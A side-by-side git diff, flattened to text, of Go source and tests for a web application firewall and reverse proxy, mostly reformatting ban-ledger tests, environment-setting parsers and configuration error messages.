limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{}) limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
if limit.Expires.Sub(limit.Start) != time.Hour || if limit.Expires.Sub(limit.Start) != time.Hour ||
limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) { limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
t.Errorf( t.Errorf("the ban for a limit is %+v, want one of an hour after one for crowdsec",
"the ban for a limit is %+v, want one of an hour after one for crowdsec", limit)
limit,
)
} }
} }
+22 -79
View File
@@ -29,16 +29,8 @@ func TestChangedAfterABanIsMade(t *testing.T) {
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
// Two bans before the value is read leave one. // Two bans before the value is read leave one.
ledger.BanForLimit( ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), midnight(), bans.Notes{})
netip.MustParsePrefix("203.0.113.10/32"), ledger.BanForLimit(netip.MustParsePrefix("203.0.113.11/32"), midnight(), bans.Notes{})
midnight(),
bans.Notes{},
)
ledger.BanForLimit(
netip.MustParsePrefix("203.0.113.11/32"),
midnight(),
bans.Notes{},
)
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
} }
@@ -60,10 +52,7 @@ func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
got := make([]string, 0, len(snapshot)) got := make([]string, 0, len(snapshot))
for _, ban := range snapshot { for _, ban := range snapshot {
got = append( got = append(got, ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen))
got,
ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen),
)
} }
want := []string{ want := []string{
@@ -88,10 +77,7 @@ func TestLoadedBansCarryOn(t *testing.T) {
after := bans.New(defaultParams()) after := bans.New(defaultParams())
after.Load(before.Snapshot()) after.Load(before.Snapshot())
_, banned, _ := after.Check( _, banned, _ := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second))
netblock.Addr(),
ban.Expires.Add(-time.Second),
)
if !banned { if !banned {
t.Error("the loaded ban does not refuse") t.Error("the loaded ban does not refuse")
} }
@@ -99,11 +85,8 @@ func TestLoadedBansCarryOn(t *testing.T) {
again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{}) again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{})
if again.Expires.Sub(again.Start) != 3*time.Hour || if again.Expires.Sub(again.Start) != 3*time.Hour ||
again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf( t.Errorf("the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit",
"the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit", again.Expires.Sub(again.Start), again.Notes.EarlierBans)
again.Expires.Sub(again.Start),
again.Notes.EarlierBans,
)
} }
} }
@@ -115,20 +98,10 @@ func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) {
// ban covers, beside a ban the ledger makes on one IPv4 address. // ban covers, beside a ban the ledger makes on one IPv4 address.
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{ ledger.Load([]bans.Ban{
{ {Netblock: netip.MustParsePrefix("203.0.113.9/24"), Start: midnight()},
Netblock: netip.MustParsePrefix("203.0.113.9/24"), {Netblock: netip.MustParsePrefix("2001:db8::1/48"), Start: midnight()},
Start: midnight(),
},
{
Netblock: netip.MustParsePrefix("2001:db8::1/48"),
Start: midnight(),
},
}) })
ledger.BanForLimit( ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(), bans.Notes{})
netip.MustParsePrefix("198.51.100.7/32"),
midnight(),
bans.Notes{},
)
for client, want := range map[string]bool{ for client, want := range map[string]bool{
"203.0.113.0": true, "203.0.113.0": true,
@@ -165,10 +138,7 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
// As when an admin adds a permanent ban to bans.json with a start // As when an admin adds a permanent ban to bans.json with a start
// before that of the netblock's ban that has ended. // before that of the netblock's ban that has ended.
netblock := netip.MustParsePrefix("203.0.113.0/24") netblock := netip.MustParsePrefix("203.0.113.0/24")
permanent := bans.Ban{ permanent := bans.Ban{Netblock: netblock, Start: midnight().Add(-time.Hour)}
Netblock: netblock,
Start: midnight().Add(-time.Hour),
}
ended := bans.Ban{ ended := bans.Ban{
Netblock: netblock, Netblock: netblock,
Start: midnight(), Start: midnight(),
@@ -183,31 +153,20 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
ban, banned, _ := ledger.Find(client, now) ban, banned, _ := ledger.Find(client, now)
if !banned || !ban.Permanent() { if !banned || !ban.Permanent() {
t.Errorf( t.Errorf("find gives %+v and %t, want the permanent ban", ban, banned)
"find gives %+v and %t, want the permanent ban",
ban,
banned,
)
} }
ban, banned, _ = ledger.Check(client, now) ban, banned, _ = ledger.Check(client, now)
if !banned || !ban.Permanent() { if !banned || !ban.Permanent() {
t.Errorf( t.Errorf("the client is refused: %t, under %+v, want under the permanent ban",
"the client is refused: %t, under %+v, want under the permanent ban", banned, ban)
banned,
ban,
)
} }
// A limit broken now makes no shorter ban over the permanent one. // A limit broken now makes no shorter ban over the permanent one.
ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{}) ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{})
if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 { if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 {
t.Errorf( t.Errorf("a broken limit returned %+v and left the netblock %d bans, "+
"a broken limit returned %+v and left the netblock %d bans, "+ "want the permanent ban and 2", ban, len(ledger.Bans(netblock)))
"want the permanent ban and 2",
ban,
len(ledger.Bans(netblock)),
)
} }
} }
@@ -236,11 +195,7 @@ func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
// Once both have ended, a limit broken within the repeat window bans // Once both have ended, a limit broken within the repeat window bans
// for three times the 9 hours, and the notes count the two bans // for three times the 9 hours, and the notes count the two bans
// before the 9-hour one and it, for a limit, and the admin's. // before the 9-hour one and it, for a limit, and the admin's.
ban, _ := ledger.BanForLimit( ban, _ := ledger.BanForLimit(netblock, nineHours.Expires.Add(time.Hour), bans.Notes{})
netblock,
nineHours.Expires.Add(time.Hour),
bans.Notes{},
)
if ban.Expires.Sub(ban.Start) != 27*time.Hour || if ban.Expires.Sub(ban.Start) != 27*time.Hour ||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) { ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) {
t.Errorf("the next ban lasts %s with earlier bans %+v, "+ t.Errorf("the next ban lasts %s with earlier bans %+v, "+
@@ -271,10 +226,7 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) {
held := ledger.Snapshot() held := ledger.Snapshot()
if len(held) != 1 || !reflect.DeepEqual(held[0], later) { if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
t.Errorf( t.Errorf("the ledger holds %+v, want only the ban that began later", held)
"the ledger holds %+v, want only the ban that began later",
held,
)
} }
} }
@@ -304,25 +256,16 @@ func TestLoadReplacesTheBansHeld(t *testing.T) {
// bans.json is taken in, that ban is lifted. // bans.json is taken in, that ban is lifted.
ledger.Load([]bans.Ban{kept}) ledger.Load([]bans.Ban{kept})
_, banned, _ := ledger.Check( _, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.9"), midnight())
netip.MustParseAddr("203.0.113.9"),
midnight(),
)
if banned { if banned {
t.Error("a ban left out of the second load still refuses") t.Error("a ban left out of the second load still refuses")
} }
// The ledger holds one ban, so it makes two more without dropping any. // The ledger holds one ban, so it makes two more without dropping any.
first, _ := ledger.BanForLimit( first, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(),
netip.MustParsePrefix("198.51.100.7/32"), bans.Notes{})
midnight(), second, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.8/32"), midnight(),
bans.Notes{}, bans.Notes{})
)
second, _ := ledger.BanForLimit(
netip.MustParsePrefix("198.51.100.8/32"),
midnight(),
bans.Notes{},
)
want := []bans.Ban{first, second, kept} want := []bans.Ban{first, second, kept}
if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) { if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {
+1 -2
View File
@@ -106,8 +106,7 @@ func (e *environment) lookup(name string) (string, bool) {
e.settings = append(e.settings, slog.String(fileName, path)) e.settings = append(e.settings, slog.String(fileName, path))
//nolint:gosec // a file the admin names contents, err := os.ReadFile(path) //nolint:gosec // a file the admin names
contents, err := os.ReadFile(path)
if err != nil { if err != nil {
e.check(fileName, fmt.Errorf("cannot be read: %w", err)) e.check(fileName, fmt.Errorf("cannot be read: %w", err))
+14 -35
View File
@@ -65,8 +65,7 @@ var (
errNotMilliseconds = errors.New( errNotMilliseconds = errors.New(
"is not a whole number of milliseconds above zero, such as 2000") "is not a whole number of milliseconds above zero, such as 2000")
errNotMillisecondsOrOff = errors.New( errNotMillisecondsOrOff = errors.New(
"is not a whole number of milliseconds above zero, such as 60000, or off", "is not a whole number of milliseconds above zero, such as 60000, or off")
)
) )
// RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally // RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally
@@ -74,36 +73,19 @@ var (
// SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but // SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but
// invalid is an error that names it. Since rproxy never touches disk, its // invalid is an error that names it. Since rproxy never touches disk, its
// settings have no _FILE form. // settings have no _FILE form.
func RProxyFromEnvironment( func RProxyFromEnvironment(lookupEnv func(string) (string, bool)) (*RProxy, error) {
lookupEnv func(string) (string, bool),
) (*RProxy, error) {
env := &environment{lookupEnv: withoutFileForms(lookupEnv)} env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
cfg := &RProxy{ cfg := &RProxy{
ListenAddr: env.address("SWRP_LISTEN_ADDR"), ListenAddr: env.address("SWRP_LISTEN_ADDR"),
UpstreamURL: env.appURL( UpstreamURL: env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL),
"SWRP_UPSTREAM_URL", TrustedProxies: env.netblocks("SWRP_TRUSTED_PROXIES", privateRanges),
defaultUpstreamURL, WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"),
), Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
TrustedProxies: env.netblocks( DefaultDisposition: env.disposition("SWRP_DEFAULT_DISPOSITION", "allow"),
"SWRP_TRUSTED_PROXIES", MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
privateRanges, MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
), MaxRequestTime: env.millisecondsOrOff("SWRP_MAX_REQUEST_TIME_MS", "60000"),
WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"), MaxResponseTime: env.millisecondsOrOff("SWRP_MAX_RESPONSE_TIME_MS", "1800000"),
Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
DefaultDisposition: env.disposition(
"SWRP_DEFAULT_DISPOSITION",
"allow",
),
MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
MaxRequestTime: env.millisecondsOrOff(
"SWRP_MAX_REQUEST_TIME_MS",
"60000",
),
MaxResponseTime: env.millisecondsOrOff(
"SWRP_MAX_RESPONSE_TIME_MS",
"1800000",
),
} }
if env.err != nil { if env.err != nil {
@@ -202,9 +184,7 @@ func (e *environment) milliseconds(name, defaultValue string) time.Duration {
// millisecondsOrOff reads a setting that is a whole number of milliseconds // millisecondsOrOff reads a setting that is a whole number of milliseconds
// above zero, or off, which is 0. // above zero, or off, which is 0.
func (e *environment) millisecondsOrOff( func (e *environment) millisecondsOrOff(name, defaultValue string) time.Duration {
name, defaultValue string,
) time.Duration {
value := e.value(name, defaultValue) value := e.value(name, defaultValue)
if value == off { if value == off {
return 0 return 0
@@ -239,8 +219,7 @@ func parseUpstreamURL(value string) (*url.URL, error) {
} }
onlySchemeAndHost := (upstream.Scheme == "http" || upstream.Scheme == "https") && onlySchemeAndHost := (upstream.Scheme == "http" || upstream.Scheme == "https") &&
upstream.Hostname() != "" && upstream.Hostname() != "" && upstream.User == nil &&
upstream.User == nil &&
upstream.Opaque == "" && upstream.Opaque == "" &&
(upstream.Path == "" || upstream.Path == "/") && (upstream.Path == "" || upstream.Path == "/") &&
upstream.RawQuery == "" && upstream.RawQuery == "" &&
+10 -29
View File
@@ -50,28 +50,18 @@ func TestRProxyDefaults(t *testing.T) {
if cfg.ListenAddr != rproxyDefaultAddr || if cfg.ListenAddr != rproxyDefaultAddr ||
cfg.UpstreamURL.String() != rproxyDefaultApp || cfg.UpstreamURL.String() != rproxyDefaultApp ||
cfg.WAFBackend.String() != backendURL { cfg.WAFBackend.String() != backendURL {
t.Errorf( t.Errorf("addresses %q, %v, %v", cfg.ListenAddr, cfg.UpstreamURL, cfg.WAFBackend)
"addresses %q, %v, %v",
cfg.ListenAddr,
cfg.UpstreamURL,
cfg.WAFBackend,
)
} }
if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" { if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
t.Errorf( t.Errorf("timeout %v, default disposition %q", cfg.Timeout, cfg.DefaultDisposition)
"timeout %v, default disposition %q",
cfg.Timeout,
cfg.DefaultDisposition,
)
} }
if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 { if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 {
t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize) t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize)
} }
if cfg.MaxRequestTime != time.Minute || if cfg.MaxRequestTime != time.Minute || cfg.MaxResponseTime != 30*time.Minute {
cfg.MaxResponseTime != 30*time.Minute {
t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime) t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime)
} }
@@ -110,12 +100,9 @@ func TestRProxySettingsAreRead(t *testing.T) {
t.Errorf("addresses %+v", cfg) t.Errorf("addresses %+v", cfg)
} }
if cfg.Timeout != 150*time.Millisecond || if cfg.Timeout != 150*time.Millisecond || cfg.DefaultDisposition != "deny" ||
cfg.DefaultDisposition != "deny" || cfg.MaxRequestSize != 1024 || cfg.MaxResponseSize != 0 ||
cfg.MaxRequestSize != 1024 || cfg.MaxRequestTime != 0 || cfg.MaxResponseTime != 250*time.Millisecond {
cfg.MaxResponseSize != 0 ||
cfg.MaxRequestTime != 0 ||
cfg.MaxResponseTime != 250*time.Millisecond {
t.Errorf("limits %+v", cfg) t.Errorf("limits %+v", cfg)
} }
} }
@@ -160,9 +147,7 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel() t.Parallel()
_, err := rproxyConfig( _, err := rproxyConfig(map[string]string{wafBackend: backendURL, tc.name: tc.value})
map[string]string{wafBackend: backendURL, tc.name: tc.value},
)
if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") { if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
t.Errorf("error %v, want one naming %s", err, tc.name) t.Errorf("error %v, want one naming %s", err, tc.name)
} }
@@ -173,9 +158,7 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) { func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) {
t.Parallel() t.Parallel()
cfg, err := rproxyConfig( cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL, rproxyTrusted: ""})
map[string]string{wafBackend: backendURL, rproxyTrusted: ""},
)
if err != nil { if err != nil {
t.Fatalf("settings: %v", err) t.Fatalf("settings: %v", err)
} }
@@ -189,8 +172,7 @@ func TestRProxyNeedsItsBackend(t *testing.T) {
t.Parallel() t.Parallel()
_, err := rproxyConfig(nil) _, err := rproxyConfig(nil)
if err == nil || if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
!strings.HasPrefix(err.Error(), wafBackend+": is required") {
t.Errorf("error %v, want one saying %s is required", err, wafBackend) t.Errorf("error %v, want one saying %s is required", err, wafBackend)
} }
} }
@@ -206,8 +188,7 @@ func TestRProxyReadsNoFile(t *testing.T) {
} }
_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path}) _, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path})
if err == nil || if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
!strings.HasPrefix(err.Error(), wafBackend+": is required") {
t.Errorf("error %v, want %s still required", err, wafBackend) t.Errorf("error %v, want %s still required", err, wafBackend)
} }
+106 -234
View File
@@ -344,16 +344,13 @@ var (
"is not a header name such as accept-language") "is not a header name such as accept-language")
errHeaderTakenOut = errors.New( errHeaderTakenOut = errors.New(
"is taken out of every request by Go's HTTP server, so it can never " + "is taken out of every request by Go's HTTP server, so it can never " +
"be logged", "be logged")
)
errOnBothLists = errors.New("is in SWW_TAG_DENY too") errOnBothLists = errors.New("is in SWW_TAG_DENY too")
errNotLookupSource = errors.New("is not geojs, file or off") errNotLookupSource = errors.New("is not geojs, file or off")
errNeedsLookups = errors.New("it needs each client looked up") errNeedsLookups = errors.New("it needs each client looked up")
errNeedsDBPath = errors.New( errNeedsDBPath = errors.New("it names the file to look clients up in")
"it names the file to look clients up in", errDBPathUnused = errors.New("only file reads it")
) errOver64K = errors.New(
errDBPathUnused = errors.New("only file reads it")
errOver64K = errors.New(
"is more than 64K, the most waf gets of a body") "is more than 64K, the most waf gets of a body")
errNotDurationAboveZero = errors.New( errNotDurationAboveZero = errors.New(
"is not a duration above zero, such as 1h or 7d") "is not a duration above zero, such as 1h or 7d")
@@ -386,20 +383,16 @@ var (
) )
errSetupRuleID = errors.New( errSetupRuleID = errors.New(
"is from 900000 to 900999, the ids of the rules that set the Core Rule Set " + "is from 900000 to 900999, the ids of the rules that set the Core Rule Set " +
"up and of sww's own, which cannot be switched off", "up and of sww's own, which cannot be switched off")
)
errNotBoolean = errors.New("is not true or false") errNotBoolean = errors.New("is not true or false")
errNotLogRemoteURL = errors.New( errNotLogRemoteURL = errors.New(
"is not syslog+udp, syslog+tcp or syslog+tls with a host and a port, " + "is not syslog+udp, syslog+tcp or syslog+tls with a host and a port, " +
"and nothing more, such as syslog+tls://logs.example:6514", "and nothing more, such as syslog+tls://logs.example:6514",
) )
errNoCertificate = errors.New("holds no PEM certificate") errNoCertificate = errors.New("holds no PEM certificate")
errNotFacility = errors.New( errNotFacility = errors.New("is not a syslog facility such as local0 or daemon")
"is not a syslog facility such as local0 or daemon", errNotAppName = errors.New(
) "is not 1 to 48 printable ASCII characters without a space, such as blog")
errNotAppName = errors.New(
"is not 1 to 48 printable ASCII characters without a space, such as blog",
)
errNotWebhookURL = errors.New( errNotWebhookURL = errors.New(
"is not an http or https URL without a user or a fragment, " + "is not an http or https URL without a user or a fragment, " +
"such as https://alerts.example/sww") "such as https://alerts.example/sww")
@@ -411,8 +404,7 @@ var (
) )
errNotAlertEvent = errors.New( errNotAlertEvent = errors.New(
"is not ban, permanent_ban, core_rule_set_match, anomaly, reputation_hit, " + "is not ban, permanent_ban, core_rule_set_match, anomaly, reputation_hit, " +
"source_failure or file_error", "source_failure or file_error")
)
errNotNumberOrOff = errors.New( errNotNumberOrOff = errors.New(
"is not a whole number above zero, such as 60, or off", "is not a whole number above zero, such as 60, or off",
) )
@@ -428,10 +420,8 @@ var (
"is not an http or https URL without a user or a fragment, " + "is not an http or https URL without a user or a fragment, " +
"such as https://www.spamhaus.org/drop/drop.txt") "such as https://www.spamhaus.org/drop/drop.txt")
errInBlocklistURLs = errors.New("is in SWW_BLOCKLIST_URLS too") errInBlocklistURLs = errors.New("is in SWW_BLOCKLIST_URLS too")
errNotAnHourOrMore = errors.New( errNotAnHourOrMore = errors.New("is not a duration of 1h or more, such as 24h")
"is not a duration of 1h or more, such as 24h", errNotAction = errors.New(
)
errNotAction = errors.New(
"is not deny, limit:<percent> such as limit:25, or log") "is not deny, limit:<percent> such as limit:25, or log")
errNotZone = errors.New( errNotZone = errors.New(
"is not a DNS zone such as dnsbl.dronebl.org", "is not a DNS zone such as dnsbl.dronebl.org",
@@ -451,10 +441,8 @@ var (
"is not an http or https URL without a user or a fragment, " + "is not an http or https URL without a user or a fragment, " +
"such as https://routewatch.example") "such as https://routewatch.example")
errNeedsLAPIKey = errors.New("the engine answers no request without it") errNeedsLAPIKey = errors.New("the engine answers no request without it")
errLAPIKeyUnused = errors.New( errLAPIKeyUnused = errors.New("it is sent only to the engine at that URL")
"it is sent only to the engine at that URL", errAnotherList = errors.New(
)
errAnotherList = errors.New(
"is in SWW_BLOCKLIST_URLS or is SWW_ASN_LIMIT_PERCENT_URL too") "is in SWW_BLOCKLIST_URLS or is SWW_ASN_LIMIT_PERCENT_URL too")
errFetchedOtherwise = errors.New("is in SWW_BLOCKLIST_URLS, is " + errFetchedOtherwise = errors.New("is in SWW_BLOCKLIST_URLS, is " +
"SWW_ASN_LIMIT_PERCENT_URL or is the CrowdSec decision list too") "SWW_ASN_LIMIT_PERCENT_URL or is the CrowdSec decision list too")
@@ -464,10 +452,8 @@ var (
errNotTagPercentItem = errors.New( errNotTagPercentItem = errors.New(
"is not a tag, : and a percentage, such as vpn:50 or asn=14061:25") "is not a tag, : and a percentage, such as vpn:50 or asn=14061:25")
errNotTagPercent = errors.New("is not a percentage from 1 to 99") errNotTagPercent = errors.New("is not a percentage from 1 to 99")
errNotASNTag = errors.New( errNotASNTag = errors.New("is not asn= and a number, such as asn=14061")
"is not asn= and a number, such as asn=14061", errNotPrefixTag = errors.New(
)
errNotPrefixTag = errors.New(
"is not prefix= and a netblock, such as prefix=192.0.2.0/24") "is not prefix= and a netblock, such as prefix=192.0.2.0/24")
errExploitTag = errors.New( errExploitTag = errors.New(
"cannot lower limits: the rate limits count a request before its " + "cannot lower limits: the rate limits count a request before its " +
@@ -479,8 +465,7 @@ var (
"asn= or country= tag, a dnsbl= tag of a zone in SWW_DNSBL_ZONES, " + "asn= or country= tag, a dnsbl= tag of a zone in SWW_DNSBL_ZONES, " +
"a prefix= tag with SWW_ROUTEWATCH_URL set, abuseipdb with " + "a prefix= tag with SWW_ROUTEWATCH_URL set, abuseipdb with " +
"SWW_ABUSEIPDB_KEY set, or exploitsignature with rule files or the " + "SWW_ABUSEIPDB_KEY set, or exploitsignature with rule files or the " +
"Core Rule Set on", "Core Rule Set on")
)
) )
// FromEnvironment reads the settings with lookupEnv, normally // FromEnvironment reads the settings with lookupEnv, normally
@@ -495,158 +480,83 @@ func FromEnvironment(
) (*Config, error) { ) (*Config, error) {
env := &environment{lookupEnv: lookupEnv} env := &environment{lookupEnv: lookupEnv}
cfg := &Config{ cfg := &Config{
ListenAddr: env.address("SWW_LISTEN_ADDR"), ListenAddr: env.address("SWW_LISTEN_ADDR"),
InstanceName: env.instanceName(), InstanceName: env.instanceName(),
Observe: env.observe("SWW_MODE", "enforce"), Observe: env.observe("SWW_MODE", "enforce"),
IPv6GroupPrefix: env.ipv6GroupPrefix( IPv6GroupPrefix: env.ipv6GroupPrefix("SWW_IPV6_GROUP_PREFIX", "64"),
"SWW_IPV6_GROUP_PREFIX", MaxTrackedClients: env.numberNotOff("SWW_MAX_TRACKED_CLIENTS", "20000"),
"64", AllowNets: env.netblocks("SWW_ALLOW_NETS", ""),
), RateLimitExemptNets: env.netblocks("SWW_RATE_LIMIT_EXEMPT_NETS", ""),
MaxTrackedClients: env.numberNotOff( DenyNets: env.netblocks("SWW_DENY_NETS", ""),
"SWW_MAX_TRACKED_CLIENTS", RateLimitPerMinute: env.count("SWW_RATE_LIMIT_PER_MINUTE", "120"),
"20000", RateLimitPerHour: env.count("SWW_RATE_LIMIT_PER_HOUR", "1500"),
), RateLimitPerDay: env.count("SWW_RATE_LIMIT_PER_DAY", "6000"),
AllowNets: env.netblocks("SWW_ALLOW_NETS", ""), RateLimitExemptPaths: env.pathPrefixes("SWW_RATE_LIMIT_EXEMPT_PATHS", ""),
RateLimitExemptNets: env.netblocks( BytesLimitPerMinute: env.size("SWW_BYTES_LIMIT_PER_MINUTE", "off"),
"SWW_RATE_LIMIT_EXEMPT_NETS", BytesLimitPerHour: env.size("SWW_BYTES_LIMIT_PER_HOUR", "50G"),
"", BytesLimitPerDay: env.size("SWW_BYTES_LIMIT_PER_DAY", "100G"),
), BytesCount: env.bytesCount("SWW_BYTES_COUNT", "both"),
DenyNets: env.netblocks("SWW_DENY_NETS", ""), LookupSource: env.lookupSource("SWW_LOOKUP_SOURCE", "geojs"),
RateLimitPerMinute: env.count("SWW_RATE_LIMIT_PER_MINUTE", "120"), LookupDBPath: env.value("SWW_LOOKUP_DB_PATH", ""),
RateLimitPerHour: env.count("SWW_RATE_LIMIT_PER_HOUR", "1500"), LookupTimeout: env.durationNotOff("SWW_LOOKUP_TIMEOUT", "800ms"),
RateLimitPerDay: env.count("SWW_RATE_LIMIT_PER_DAY", "6000"), AddLookupHeaders: env.boolean("SWW_ADD_LOOKUP_HEADERS", "false"),
RateLimitExemptPaths: env.pathPrefixes(
"SWW_RATE_LIMIT_EXEMPT_PATHS",
"",
),
BytesLimitPerMinute: env.size("SWW_BYTES_LIMIT_PER_MINUTE", "off"),
BytesLimitPerHour: env.size("SWW_BYTES_LIMIT_PER_HOUR", "50G"),
BytesLimitPerDay: env.size("SWW_BYTES_LIMIT_PER_DAY", "100G"),
BytesCount: env.bytesCount("SWW_BYTES_COUNT", "both"),
LookupSource: env.lookupSource("SWW_LOOKUP_SOURCE", "geojs"),
LookupDBPath: env.value("SWW_LOOKUP_DB_PATH", ""),
LookupTimeout: env.durationNotOff(
"SWW_LOOKUP_TIMEOUT",
"800ms",
),
AddLookupHeaders: env.boolean("SWW_ADD_LOOKUP_HEADERS", "false"),
ExclusivelyAllowedCountries: env.countries( ExclusivelyAllowedCountries: env.countries(
"SWW_EXCLUSIVELY_ALLOWED_COUNTRIES", ""), "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES", ""),
TagLists: env.tagLists("SWW_TAG_LISTS"), TagLists: env.tagLists("SWW_TAG_LISTS"),
TagDeny: env.tags("SWW_TAG_DENY"), TagDeny: env.tags("SWW_TAG_DENY"),
TagLimitPercent: env.tagPercents("SWW_TAG_LIMIT_PERCENT"), TagLimitPercent: env.tagPercents("SWW_TAG_LIMIT_PERCENT"),
RouteWatchURL: env.routeWatchURL("SWW_ROUTEWATCH_URL"), RouteWatchURL: env.routeWatchURL("SWW_ROUTEWATCH_URL"),
ASNBytesPercent: env.percents( ASNBytesPercent: env.percents("SWW_ASN_BYTES_PERCENT", ParseASN),
"SWW_ASN_BYTES_PERCENT", CountryBytesPercent: env.percents("SWW_COUNTRY_BYTES_PERCENT", parseCountry),
ParseASN, UnknownLimitPercent: env.percent("SWW_UNKNOWN_LIMIT_PERCENT", "100"),
), ASNLimitPercentURL: env.listURL("SWW_ASN_LIMIT_PERCENT_URL"),
CountryBytesPercent: env.percents( BlocklistURLs: env.listURLs("SWW_BLOCKLIST_URLS"),
"SWW_COUNTRY_BYTES_PERCENT", BlocklistRefresh: env.refresh("SWW_BLOCKLIST_REFRESH", "24h"),
parseCountry, DNSBLZones: env.zones("SWW_DNSBL_ZONES"),
), DNSBLResolver: env.resolver("SWW_DNSBL_RESOLVER"),
UnknownLimitPercent: env.percent( AbuseIPDBKey: env.secret("SWW_ABUSEIPDB_KEY"),
"SWW_UNKNOWN_LIMIT_PERCENT", AbuseIPDBMinScore: env.percent("SWW_ABUSEIPDB_MIN_SCORE", "75"),
"100", AbuseIPDBDailyBudget: env.numberNotOff("SWW_ABUSEIPDB_DAILY_BUDGET", "900"),
), ReputationCacheTTL: env.durationNotOff("SWW_REPUTATION_CACHE_TTL", "24h"),
ASNLimitPercentURL: env.listURL("SWW_ASN_LIMIT_PERCENT_URL"), ReputationTimeout: env.durationNotOff("SWW_REPUTATION_TIMEOUT", "2s"),
BlocklistURLs: env.listURLs("SWW_BLOCKLIST_URLS"), CrowdSecDecisionsURL: env.crowdSecDecisionsURL("SWW_CROWDSEC_LAPI_URL"),
BlocklistRefresh: env.refresh("SWW_BLOCKLIST_REFRESH", "24h"), CrowdSecKey: env.secret("SWW_CROWDSEC_LAPI_KEY"),
DNSBLZones: env.zones("SWW_DNSBL_ZONES"), BanResponse: env.banResponse("SWW_BAN_RESPONSE", "403"),
DNSBLResolver: env.resolver("SWW_DNSBL_RESOLVER"), LimitBanDuration: env.durationNotOff("SWW_LIMIT_BAN_DURATION", "1h"),
AbuseIPDBKey: env.secret("SWW_ABUSEIPDB_KEY"), LimitBanRepeatWindow: env.durationNotOff("SWW_LIMIT_BAN_REPEAT_WINDOW", "24h"),
AbuseIPDBMinScore: env.percent("SWW_ABUSEIPDB_MIN_SCORE", "75"), MaxBanDuration: env.durationNotOff("SWW_MAX_BAN_DURATION", "7d"),
AbuseIPDBDailyBudget: env.numberNotOff( AttackBanDuration: env.durationNotOff("SWW_ATTACK_BAN_DURATION", "7d"),
"SWW_ABUSEIPDB_DAILY_BUDGET", MaxBans: env.numberNotOff("SWW_MAX_BANS", "5000"),
"900", BanScopeV4Prefix: env.v4Prefix("SWW_BAN_SCOPE_V4_PREFIX", "32"),
